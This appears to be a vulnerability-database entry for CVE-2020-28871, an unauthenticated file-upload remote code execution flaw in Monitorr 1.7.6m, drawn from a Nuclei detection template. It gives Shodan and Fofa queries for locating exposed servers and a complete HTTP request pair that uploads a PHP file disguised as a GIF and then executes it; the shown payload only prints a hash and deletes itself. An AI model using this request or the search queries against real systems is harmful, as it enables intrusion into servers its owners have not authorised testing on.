🔙 목록으로 돌아가기

CVE-2020-28871: Monitorr 1.7.6m - Unauthenticated Remote Code Execution

TitleMonitorr 1.7.6m - Unauthenticated Remote Code Execution
Authorgy741
SeverityCritical
ImpactSuccessful exploitation of this vulnerability can lead to unauthorized remote code execution on the affected system.
RemediationUpgrade to a patched version of Monitorr or apply the necessary security patches.
CVSS Score9.8
EPSS Score0.94046
CVE IDCVE-2020-28871
CWE IDCWE-434
Shodan Queryhttp.favicon.hash:"-211006074"
Fofa Queryicon_hash="-211006074"
Tags cve cve2020 unauth fileupload monitor edb intrusive packetstorm rce monitorr_project monitorr vuln

🔍 Vulnerability Description

Monitorr 1.7.6m is susceptible to a remote code execution vulnerability. Improper input validation and lack of authorization leads to arbitrary file uploads in the web application. An unauthorized attacker with web access to could upload and execute a specially crafted file, leading to remote code execution within the Monitorr.

🌐 HTTP Request

POST /assets/php/upload.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit/537.36 (KHTML, like Gecko) Version/8.0 Safari/537.36
Content-Length: 317
Accept: text/plain, */*; q=0.01
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Connection: close
Content-Type: multipart/form-data; boundary=---------------------------31046105003900160576454225745
Origin: http://www.victim.com
Referer: http://www.victim.com
X-Requested-With: XMLHttpRequest

-----------------------------31046105003900160576454225745

Content-Disposition: form-data; name="fileToUpload"; filename="38FTNmECeqFGiXB2TywkK0VwesB.php"

Content-Type: image/gif



GIF89a213213123<?php echo md5("CVE-2020-28871");unlink(__FILE__);?>



-----------------------------31046105003900160576454225745--
GET /assets/data/usrimg/38ftnmeceqfgixb2tywkk0vwesb.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit/600.1.17 (KHTML, like Gecko) Version/7.1 Safari/537.85.10
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2020/CVE-2020-28871.yaml

🦈 Packet Capture: ⬇️ Download cve-2020-28871.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A